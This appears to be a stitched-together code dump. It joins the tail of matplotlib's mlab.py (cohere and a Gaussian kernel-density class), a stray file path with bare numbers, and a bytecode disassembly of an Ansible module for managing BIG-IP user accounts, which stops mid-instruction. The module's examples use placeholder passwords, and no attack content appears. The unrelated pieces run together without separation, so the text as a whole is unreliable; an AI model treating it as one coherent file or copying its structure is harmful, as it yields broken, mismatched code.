'angle'. phase_spectrum : similar to single segment when *mode* is 'phase'. Notes ----- *detrend* and *scale_by_freq* only apply when *mode* is set to 'psd'. """ if noverlap is None: noverlap = 128 # default in _spectral_helper() is noverlap = 0 if NFFT is None: NFFT = 256 # same default as in _spectral_helper() if len(x) <= NFFT: _api.warn_external( "Only one segment is calculated since parameter " f"NFFT (={NFFT}) >= signal length (={len(x)})." ) spec, freqs, t = _spectral_helper( x=x, y=None, NFFT=NFFT, Fs=Fs, detrend_func=detrend, window=window, noverlap=noverlap, pad_to=pad_to, sides=sides, scale_by_freq=scale_by_freq, mode=mode, ) if mode != "complex": spec = spec.real # Needed since helper implements generically return spec, freqs, t @_docstring.dedent_interpd def cohere( x, y, NFFT=256, Fs=2, detrend=detrend_none, window=window_hanning, noverlap=0, pad_to=None, sides="default", scale_by_freq=None, ): r""" The coherence between *x* and *y*. Coherence is the normalized cross spectral density: .. math:: C_{xy} = \frac{|P_{xy}|^2}{P_{xx}P_{yy}} Parameters ---------- x, y Array or sequence containing the data %(Spectral)s %(PSD)s noverlap : int, default: 0 (no overlap) The number of points of overlap between segments. Returns ------- Cxy : 1-D array The coherence vector. freqs : 1-D array The frequencies for the elements in *Cxy*. See Also -------- :func:`psd`, :func:`csd` : For information about the methods used to compute :math:`P_{xy}`, :math:`P_{xx}` and :math:`P_{yy}`. """ if len(x) < 2 * NFFT: raise ValueError( "Coherence is calculated by averaging over *NFFT* length " "segments. Your signal is too short for your choice of *NFFT*." ) Pxx, f = psd(x, NFFT, Fs, detrend, window, noverlap, pad_to, sides, scale_by_freq) Pyy, f = psd(y, NFFT, Fs, detrend, window, noverlap, pad_to, sides, scale_by_freq) Pxy, f = csd( x, y, NFFT, Fs, detrend, window, noverlap, pad_to, sides, scale_by_freq ) Cxy = np.abs(Pxy) ** 2 / (Pxx * Pyy) return Cxy, f class GaussianKDE: """ Representation of a kernel-density estimate using Gaussian kernels. Parameters ---------- dataset : array-like Datapoints to estimate from. In case of univariate data this is a 1-D array, otherwise a 2D array with shape (# of dims, # of data). bw_method : str, scalar or callable, optional The method used to calculate the estimator bandwidth. This can be 'scott', 'silverman', a scalar constant or a callable. If a scalar, this will be used directly as `kde.factor`. If a callable, it should take a `GaussianKDE` instance as only parameter and return a scalar. If None (default), 'scott' is used. Attributes ---------- dataset : ndarray The dataset passed to the constructor. dim : int Number of dimensions. num_dp : int Number of datapoints. factor : float The bandwidth factor, obtained from `kde.covariance_factor`, with which the covariance matrix is multiplied. covariance : ndarray The covariance matrix of *dataset*, scaled by the calculated bandwidth (`kde.factor`). inv_cov : ndarray The inverse of *covariance*. Methods ------- kde.evaluate(points) : ndarray Evaluate the estimated pdf on a provided set of points. kde(points) : ndarray Same as kde.evaluate(points) """ def __init__(self, dataset, bw_method=None): self.dataset = np.atleast_2d(dataset) if not np.array(self.dataset).size > 1: raise ValueError("`dataset` input should have multiple elements.") self.dim, self.num_dp = np.array(self.dataset).shape if bw_method is None: pass elif cbook._str_equal(bw_method, "scott"): self.covariance_factor = self.scotts_factor elif cbook._str_equal(bw_method, "silverman"): self.covariance_factor = self.silverman_factor elif isinstance(bw_method, Number): self._bw_method = "use constant" self.covariance_factor = lambda: bw_method elif callable(bw_method): self._bw_method = bw_method self.covariance_factor = lambda: self._bw_method(self) else: raise ValueError( "`bw_method` should be 'scott', 'silverman', a " "scalar or a callable" ) self.factor = self.covariance_factor() if not hasattr(self, "_data_inv_cov"): self.data_covariance = np.atleast_2d( np.cov(self.dataset, rowvar=1, bias=False) ) self.data_inv_cov = np.linalg.inv(self.data_covariance) self.covariance = self.data_covariance * self.factor**2 self.inv_cov = self.data_inv_cov / self.factor**2 self.norm_factor = ( np.sqrt(np.linalg.det(2 * np.pi * self.covariance)) * self.num_dp ) def scotts_factor(self): return np.power(self.num_dp, -1.0 / (self.dim + 4)) def silverman_factor(self): return np.power(self.num_dp * (self.dim + 2.0) / 4.0, -1.0 / (self.dim + 4)) covariance_factor = scotts_factor def evaluate(self, points): """ Evaluate the estimated pdf on a set of points. Parameters ---------- points : (# of dimensions, # of points)-array Alternatively, a (# of dimensions,) vector can be passed in and treated as a single point. Returns ------- (# of points,)-array The values at each point. Raises ------ ValueError : if the dimensionality of the input points is different than the dimensionality of the KDE. """ points = np.atleast_2d(points) dim, num_m = np.array(points).shape if dim != self.dim: raise ValueError( f"points have dimension {dim}, dataset has " f"dimension {self.dim}" ) result = np.zeros(num_m) if num_m >= self.num_dp: for i in range(self.num_dp): diff = self.dataset[:, i, np.newaxis] - points tdiff = np.dot(self.inv_cov, diff) energy = np.sum(diff * tdiff, axis=0) / 2.0 result = result + np.exp(-energy) else: for i in range(num_m): diff = self.dataset - points[:, i, np.newaxis] tdiff = np.dot(self.inv_cov, diff) energy = np.sum(diff * tdiff, axis=0) / 2.0 result[i] = np.sum(np.exp(-energy), axis=0) result = result / self.norm_factor return result __call__ = evaluate
data/matplotlib-3.8.3/lib/matplotlib/mlab.py
9,260
9,002
130,093
LOAD_CONST 0 LOAD_CONST ('absolute_import', 'division', 'print_function') IMPORT_NAME __future__ IMPORT_FROM absolute_import STORE_NAME absolute_import IMPORT_FROM division STORE_NAME division IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_NAME type STORE_NAME __metaclass__ LOAD_CONST '\n---\nmodule: bigip_user\nshort_description: Manage user accounts and user attributes on a BIG-IP\ndescription:\n - Manage user accounts and user attributes on a BIG-IP system. Typically this\n module operates only on REST API users and not CLI users.\n When specifying C(root), you may only change the password.\n Your other parameters are ignored in this case. Changing the C(root)\n password is not an idempotent operation. Therefore, it changes the\n password every time this module attempts to change it.\nversion_added: "1.0.0"\noptions:\n full_name:\n description:\n - Full name of the user.\n type: str\n username_credential:\n description:\n - Name of the user to create, remove, or modify.\n - The C(root) user may not be removed.\n type: str\n required: True\n aliases:\n - name\n password_credential:\n description:\n - Set the user\'s password to this unencrypted value.\n C(password_credential) is required when creating a new account.\n type: str\n shell:\n description:\n - Optionally set the users shell.\n type: str\n choices:\n - bash\n - none\n - tmsh\n partition_access:\n description:\n - Specifies the administrative partition to which the user has access.\n C(partition_access) is required when creating a new account, and\n should be in the form "partition:role".\n - Valid roles include C(acceleration-policy-editor), C(admin), C(application-editor),\n C(auditor), C(certificate-manager), C(guest), C(irule-manager), C(manager), C(no-access),\n C(operator), C(resource-admin), C(user-manager), C(web-application-security-administrator),\n and C(web-application-security-editor).\n - The partition portion the of tuple should be an existing partition or the value \'all\'.\n type: list\n elements: str\n state:\n description:\n - Whether the account should exist or not, taking action if the state is\n different from what is stated.\n type: str\n choices:\n - present\n - absent\n default: present\n update_password:\n description:\n - C(always) allows the user to update passwords.\n C(on_create) only sets the password for newly created users.\n - When C(username_credential) is C(root), this value is forced to C(always).\n type: str\n choices:\n - always\n - on_create\n default: always\n partition:\n description:\n - Device partition to manage resources on.\n type: str\n default: Common\nnotes:\n - Requires BIG-IP versions >= 12.0.0\nextends_documentation_fragment: f5networks.f5_modules.f5\nauthor:\n - Tim Rupp (@caphrim007)\n - Wojciech Wypior (@wojtek0806)\n' STORE_NAME DOCUMENTATION LOAD_CONST '\n- name: Add the user \'johnd\' as an admin\n bigip_user:\n username_credential: johnd\n password_credential: password\n full_name: John Doe\n partition_access:\n - all:admin\n update_password: on_create\n state: present\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Change the user "johnd\'s" role and shell\n bigip_user:\n username_credential: johnd\n partition_access:\n - NewPartition:manager\n shell: tmsh\n state: present\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Make the user \'johnd\' an admin and set to advanced shell\n bigip_user:\n name: johnd\n partition_access:\n - all:admin\n shell: bash\n state: present\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Remove the user \'johnd\'\n bigip_user:\n name: johnd\n state: absent\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Update password\n bigip_user:\n state: present\n username_credential: johnd\n password_credential: newsupersecretpassword\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Change the Admin password\n bigip_user:\n state: present\n username_credential: admin\n password_credential: NewSecretPassword\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n\n- name: Change the root user\'s password\n bigip_user:\n username_credential: root\n password_credential: secret\n state: present\n provider:\n server: lb.mydomain.com\n user: admin\n password: secret\n delegate_to: localhost\n' STORE_NAME EXAMPLES LOAD_CONST '\nfull_name:\n description: Full name of the user.\n returned: changed and success\n type: str\n sample: John Doe\npartition_access:\n description:\n - List of strings containing the user\'s roles and to which partitions they\n are applied. They are specified in the form "partition:role".\n returned: changed and success\n type: list\n sample: [\'all:admin\']\nshell:\n description: The shell assigned to the user account.\n returned: changed and success\n type: str\n sample: tmsh\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_NAME os LOAD_CONST 0 LOAD_CONST None IMPORT_NAME tempfile STORE_NAME tempfile LOAD_CONST 0 LOAD_CONST None IMPORT_NAME traceback STORE_NAME traceback LOAD_CONST 0 LOAD_CONST ('datetime',) IMPORT_NAME datetime IMPORT_FROM datetime STORE_NAME datetime POP_TOP SETUP_EXCEPT to 90 LOAD_CONST 0 LOAD_CONST ('Version',) IMPORT_NAME packaging.version IMPORT_FROM Version STORE_NAME Version POP_TOP POP_BLOCK JUMP_FORWARD to 126 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_NAME HAS_PACKAGING LOAD_CONST None STORE_NAME Version LOAD_NAME traceback LOAD_METHOD format_exc CALL_METHOD STORE_NAME PACKAGING_IMPORT_ERROR POP_EXCEPT JUMP_FORWARD to 134 END_FINALLY LOAD_CONST True STORE_NAME HAS_PACKAGING LOAD_CONST None STORE_NAME PACKAGING_IMPORT_ERROR SETUP_EXCEPT to 152 LOAD_CONST 0 LOAD_CONST ('BytesIO',) IMPORT_NAME BytesIO IMPORT_FROM BytesIO STORE_NAME BytesIO POP_TOP POP_BLOCK JUMP_FORWARD to 184 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST 0 LOAD_CONST ('BytesIO',) IMPORT_NAME io IMPORT_FROM BytesIO STORE_NAME BytesIO POP_TOP POP_EXCEPT JUMP_FORWARD to 184 END_FINALLY LOAD_CONST 0 LOAD_CONST ('AnsibleModule', 'env_fallback', 'missing_required_lib') IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule IMPORT_FROM env_fallback STORE_NAME env_fallback IMPORT_FROM missing_required_lib STORE_NAME missing_required_lib POP_TOP LOAD_CONST 0 LOAD_CONST ('string_types',) IMPORT_NAME ansible.module_utils.six IMPORT_FROM string_types STORE_NAME string_types POP_TOP LOAD_CONST 0 LOAD_CONST ('to_bytes',) IMPORT_NAME ansible.module_utils._text IMPORT_FROM to_bytes STORE_NAME to_bytes POP_TOP LOAD_CONST 2 LOAD_CONST ('F5RestClient',) IMPORT_NAME module_utils.bigip IMPORT_FROM F5RestClient STORE_NAME F5RestClient POP_TOP LOAD_CONST 2 LOAD_CONST ('F5ModuleError', 'AnsibleF5Parameters', 'f5_argument_spec', 'is_empty_list') IMPORT_NAME module_utils.common IMPORT_FROM F5ModuleError STORE_NAME F5ModuleError IMPORT_FROM AnsibleF5Parameters STORE_NAME AnsibleF5Parameters IMPORT_FROM f5_argument_spec STORE_NAME f5_argument_spec IMPORT_FROM is_empty_list STORE_NAME is_empty_list POP_TOP LOAD_CONST 2 LOAD_CONST ('tmos_version', 'upload_file') IMPORT_NAME module_utils.icontrol IMPORT_FROM tmos_version STORE_NAME tmos_version IMPORT_FROM upload_file STORE_NAME upload_file POP_TOP LOAD_CONST 2 LOAD_CONST ('send_teem',) IMPORT_NAME module_utils.teem IMPORT_FROM send_teem STORE_NAME send_teem POP_TOP SETUP_EXCEPT to 338 LOAD_CONST 0 LOAD_CONST ('default_backend',) IMPORT_NAME cryptography.hazmat.backends IMPORT_FROM default_backend STORE_NAME default_backend POP_TOP LOAD_CONST 0 LOAD_CONST ('serialization',) IMPORT_NAME cryptography.hazmat.primitives IMPORT_FROM serialization STORE_NAME serialization POP_TOP LOAD_CONST 0 LOAD_CONST ('padding',) IMPORT_NAME cryptography.hazmat.primitives.asymmetric IMPORT_FROM padding STORE_NAME padding POP_TOP LOAD_CONST True STORE_NAME HAS_CRYPTO POP_BLOCK JUMP_FORWARD to 364 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_NAME HAS_CRYPTO POP_EXCEPT JUMP_FORWARD to 364 END_FINALLY LOAD_BUILD_CLASS LOAD_CONST <code object Parameters at 0x7f8ab73b68a0, file "f.py", line 237> LOAD_CONST 'Parameters' MAKE_FUNCTION LOAD_CONST 'Parameters' LOAD_NAME AnsibleF5Parameters CALL_FUNCTION STORE_NAME Parameters LOAD_BUILD_CLASS LOAD_CONST <code object ApiParameters at 0x7f8ab73b6390, file "f.py", line 275> LOAD_CONST 'ApiParameters' MAKE_FUNCTION LOAD_CONST 'ApiParameters' LOAD_NAME Parameters CALL_FUNCTION STORE_NAME ApiParameters LOAD_BUILD_CLASS LOAD_CONST <code object ModuleParameters at 0x7f8e2f9ca6f0, file "f.py", line 292> LOAD_CONST 'ModuleParameters' MAKE_FUNCTION LOAD_CONST 'ModuleParameters' LOAD_NAME Parameters CALL_FUNCTION STORE_NAME ModuleParameters LOAD_BUILD_CLASS LOAD_CONST <code object Changes at 0x7f8e2f9cae40, file "f.py", line 311> LOAD_CONST 'Changes' MAKE_FUNCTION LOAD_CONST 'Changes' LOAD_NAME Parameters CALL_FUNCTION STORE_NAME Changes LOAD_BUILD_CLASS LOAD_CONST <code object UsableChanges at 0x7f8e2f9ca540, file "f.py", line 323> LOAD_CONST 'UsableChanges' MAKE_FUNCTION LOAD_CONST 'UsableChanges' LOAD_NAME Changes CALL_FUNCTION STORE_NAME UsableChanges LOAD_BUILD_CLASS LOAD_CONST <code object ReportableChanges at 0x7f8e2f9ca1e0, file "f.py", line 331> LOAD_CONST 'ReportableChanges' MAKE_FUNCTION LOAD_CONST 'ReportableChanges' LOAD_NAME Changes CALL_FUNCTION STORE_NAME ReportableChanges LOAD_BUILD_CLASS LOAD_CONST <code object Difference at 0x7f8e2f9ca390, file "f.py", line 348> LOAD_CONST 'Difference' MAKE_FUNCTION LOAD_CONST 'Difference' LOAD_NAME object CALL_FUNCTION STORE_NAME Difference LOAD_BUILD_CLASS LOAD_CONST <code object ModuleManager at 0x7f8e2fcbf270, file "f.py", line 415> LOAD_CONST 'ModuleManager' MAKE_FUNCTION LOAD_CONST 'ModuleManager' LOAD_NAME object CALL_FUNCTION STORE_NAME ModuleManager LOAD_BUILD_CLASS LOAD_CONST <code object BaseManager at 0x7f8e2fcbf8a0, file "f.py", line 459> LOAD_CONST 'BaseManager' MAKE_FUNCTION LOAD_CONST 'BaseManager' LOAD_NAME object CALL_FUNCTION STORE_NAME BaseManager LOAD_BUILD_CLASS LOAD_CONST <code object UnpartitionedManager at 0x7f8e4475ce40, file "f.py", line 590> LOAD_CONST 'UnpartitionedManager' MAKE_FUNCTION LOAD_CONST 'UnpartitionedManager' LOAD_NAME BaseManager CALL_FUNCTION STORE_NAME UnpartitionedManager LOAD_BUILD_CLASS LOAD_CONST <code object PartitionedManager at 0x7f8e4475c4b0, file "f.py", line 689> LOAD_CONST 'PartitionedManager' MAKE_FUNCTION LOAD_CONST 'PartitionedManager' LOAD_NAME BaseManager CALL_FUNCTION STORE_NAME PartitionedManager LOAD_BUILD_CLASS LOAD_CONST <code object RootUserManager at 0x7f8ab71fe660, file "f.py", line 789> LOAD_CONST 'RootUserManager' MAKE_FUNCTION LOAD_CONST 'RootUserManager' LOAD_NAME BaseManager CALL_FUNCTION STORE_NAME RootUserManager LOAD_BUILD_CLASS LOAD_CONST <code object ArgumentSpec at 0x7f8ab71fe780, file "f.py", line 957> LOAD_CONST 'ArgumentSpec' MAKE_FUNCTION LOAD_CONST 'ArgumentSpec' LOAD_NAME object CALL_FUNCTION STORE_NAME ArgumentSpec LOAD_CONST <code object main at 0x7f8ab71fe810, file "f.py", line 982> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Parameters' STORE_NAME __qualname__ LOAD_CONST 'partition_access' LOAD_CONST 'full_name' LOAD_CONST ('partitionAccess', 'description') BUILD_CONST_KEY_MAP STORE_NAME api_map LOAD_CONST 'partition_access' LOAD_CONST 'full_name' LOAD_CONST 'shell' LOAD_CONST 'password_credential' BUILD_LIST STORE_NAME updatables LOAD_CONST 'shell' LOAD_CONST 'partition_access' LOAD_CONST 'full_name' LOAD_CONST 'username_credential' LOAD_CONST 'password_credential' BUILD_LIST STORE_NAME returnables LOAD_CONST 'shell' LOAD_CONST 'partitionAccess' LOAD_CONST 'description' LOAD_CONST 'name' LOAD_CONST 'password' BUILD_LIST STORE_NAME api_attributes LOAD_NAME property LOAD_CONST <code object temp_upload_file at 0x7f8ab73b6f60, file "f.py", line 266> LOAD_CONST 'Parameters.temp_upload_file' MAKE_FUNCTION CALL_FUNCTION STORE_NAME temp_upload_file LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'temp_upload_file' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL tempfile LOAD_METHOD NamedTemporaryFile CALL_METHOD STORE_FAST f LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST f LOAD_ATTR name CALL_METHOD STORE_FAST name LOAD_FAST name LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'temp_upload_file' STORE_SUBSCR LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'temp_upload_file' BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ApiParameters' STORE_NAME __qualname__ LOAD_NAME property LOAD_CONST <code object partition_access at 0x7f8ab73b61e0, file "f.py", line 276> LOAD_CONST 'ApiParameters.partition_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME partition_access LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST result LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR STORE_FAST part_access SETUP_LOOP to 92 LOAD_FAST part_access GET_ITER FOR_ITER to 90 STORE_FAST access LOAD_GLOBAL isinstance LOAD_FAST access LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST 'nameReference' LOAD_FAST access COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST access LOAD_CONST 'nameReference' DELETE_SUBSCR LOAD_FAST result LOAD_METHOD append LOAD_FAST access CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST result LOAD_METHOD append LOAD_FAST access CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ModuleParameters' STORE_NAME __qualname__ LOAD_NAME property LOAD_CONST <code object partition_access at 0x7f8ab73b6c90, file "f.py", line 293> LOAD_CONST 'ModuleParameters.partition_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME partition_access LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL is_empty_list LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR CALL_FUNCTION POP_JUMP_IF_FALSE BUILD_LIST RETURN_VALUE BUILD_LIST STORE_FAST result LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR STORE_FAST part_access SETUP_LOOP to 138 LOAD_FAST part_access GET_ITER FOR_ITER to 136 STORE_FAST access LOAD_GLOBAL isinstance LOAD_FAST access LOAD_GLOBAL string_types CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST access LOAD_METHOD split LOAD_CONST ':' CALL_METHOD STORE_FAST acl LOAD_FAST acl LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD lower CALL_METHOD LOAD_CONST 'all' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'all-partitions' LOAD_FAST acl LOAD_CONST 0 STORE_SUBSCR LOAD_GLOBAL dict LOAD_FAST acl LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST acl LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST ('name', 'role') CALL_FUNCTION STORE_FAST value LOAD_FAST result LOAD_METHOD append LOAD_FAST value CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Changes' STORE_NAME __qualname__ LOAD_CONST <code object to_return at 0x7f8e2f9ca810, file "f.py", line 312> LOAD_CONST 'Changes.to_return' MAKE_FUNCTION STORE_NAME to_return LOAD_CONST None RETURN_VALUE BUILD_MAP STORE_FAST result SETUP_LOOP to 70 LOAD_FAST self LOAD_ATTR returnables GET_ITER FOR_ITER to 68 STORE_FAST returnable SETUP_EXCEPT to 36 LOAD_GLOBAL getattr LOAD_FAST self LOAD_FAST returnable CALL_FUNCTION LOAD_FAST result LOAD_FAST returnable STORE_SUBSCR POP_BLOCK JUMP_FORWARD to 56 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 56 END_FINALLY LOAD_FAST self LOAD_METHOD _filter_params LOAD_FAST result CALL_METHOD STORE_FAST result JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UsableChanges' STORE_NAME __qualname__ LOAD_NAME property LOAD_CONST <code object password at 0x7f8e2f9ca420, file "f.py", line 324> LOAD_CONST 'UsableChanges.password' MAKE_FUNCTION CALL_FUNCTION STORE_NAME password LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'password_credential' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'password_credential' BINARY_SUBSCR RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ReportableChanges' STORE_NAME __qualname__ LOAD_NAME property LOAD_CONST <code object partition_access at 0x7f8e2f9ca780, file "f.py", line 332> LOAD_CONST 'ReportableChanges.partition_access' MAKE_FUNCTION CALL_FUNCTION STORE_NAME partition_access LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE BUILD_LIST STORE_FAST result LOAD_FAST self LOAD_ATTR _values LOAD_CONST 'partition_access' BINARY_SUBSCR STORE_FAST part_access SETUP_LOOP to 98 LOAD_FAST part_access GET_ITER FOR_ITER to 96 STORE_FAST access LOAD_FAST access LOAD_CONST 'name' BINARY_SUBSCR LOAD_CONST 'all-partitions' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'all' STORE_FAST name JUMP_FORWARD to 68 LOAD_FAST access LOAD_CONST 'name' BINARY_SUBSCR STORE_FAST name LOAD_FAST access LOAD_CONST 'role' BINARY_SUBSCR STORE_FAST role LOAD_FAST result LOAD_METHOD append LOAD_CONST '{0}:{1}' LOAD_METHOD format LOAD_FAST name LOAD_FAST role CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST result RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Difference' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_CONST <code object __init__ at 0x7f8e2f9caae0, file "f.py", line 349> LOAD_CONST 'Difference.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object compare at 0x7f8e2f9caf60, file "f.py", line 353> LOAD_CONST 'Difference.compare' MAKE_FUNCTION STORE_NAME compare LOAD_CONST <code object __default at 0x7f8e2f9cadb0, file "f.py", line 360> LOAD_CONST 'Difference.__default' MAKE_FUNCTION STORE_NAME _Difference__default LOAD_NAME property LOAD_CONST <code object password_credential at 0x7f8e2f9ca9c0, file "f.py", line 369> LOAD_CONST 'Difference.password_credential' MAKE_FUNCTION CALL_FUNCTION STORE_NAME password_credential LOAD_NAME property LOAD_CONST <code object shell at 0x7f8e2f9cad20, file "f.py", line 377> LOAD_CONST 'Difference.shell' MAKE_FUNCTION CALL_FUNCTION STORE_NAME shell LOAD_CONST <code object _validate_shell_parameter at 0x7f8e2f9ca4b0, file "f.py", line 390> LOAD_CONST 'Difference._validate_shell_parameter' MAKE_FUNCTION STORE_NAME _validate_shell_parameter LOAD_CONST None RETURN_VALUE LOAD_FAST want LOAD_FAST self STORE_ATTR want LOAD_FAST have LOAD_FAST self STORE_ATTR have LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 16 LOAD_GLOBAL getattr LOAD_FAST self LOAD_FAST param CALL_FUNCTION STORE_FAST result LOAD_FAST result RETURN_VALUE DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_METHOD _Difference__default LOAD_FAST param CALL_METHOD RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR want LOAD_FAST param CALL_FUNCTION STORE_FAST attr1 SETUP_EXCEPT to 42 LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR have LOAD_FAST param CALL_FUNCTION STORE_FAST attr2 LOAD_FAST attr1 LOAD_FAST attr2 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST attr1 RETURN_VALUE POP_BLOCK JUMP_FORWARD to 62 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST attr1 RETURN_VALUE END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR password_credential LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR update_password LOAD_CONST ('always',) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR want LOAD_ATTR password_credential RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell LOAD_CONST 'none' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR have LOAD_ATTR shell LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell LOAD_CONST 'bash' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _validate_shell_parameter CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell LOAD_FAST self LOAD_ATTR have LOAD_ATTR shell COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell LOAD_FAST self LOAD_ATTR have LOAD_ATTR shell COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST "Shell access is only available to 'admin' or 'resource-admin' roles." STORE_FAST err LOAD_CONST 'admin' LOAD_CONST 'resource-admin' BUILD_LIST STORE_DEREF permit LOAD_FAST self LOAD_ATTR have LOAD_ATTR partition_access STORE_FAST have LOAD_GLOBAL any LOAD_CLOSURE permit BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8e2f9cac00, file "f.py", line 406> LOAD_CONST 'Difference._validate_shell_parameter.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST have GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL F5ModuleError LOAD_FAST err CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition_access LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition_access STORE_FAST want LOAD_GLOBAL any LOAD_CLOSURE permit BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8e2f9caed0, file "f.py", line 411> LOAD_CONST 'Difference._validate_shell_parameter.<locals>.<genexpr>' 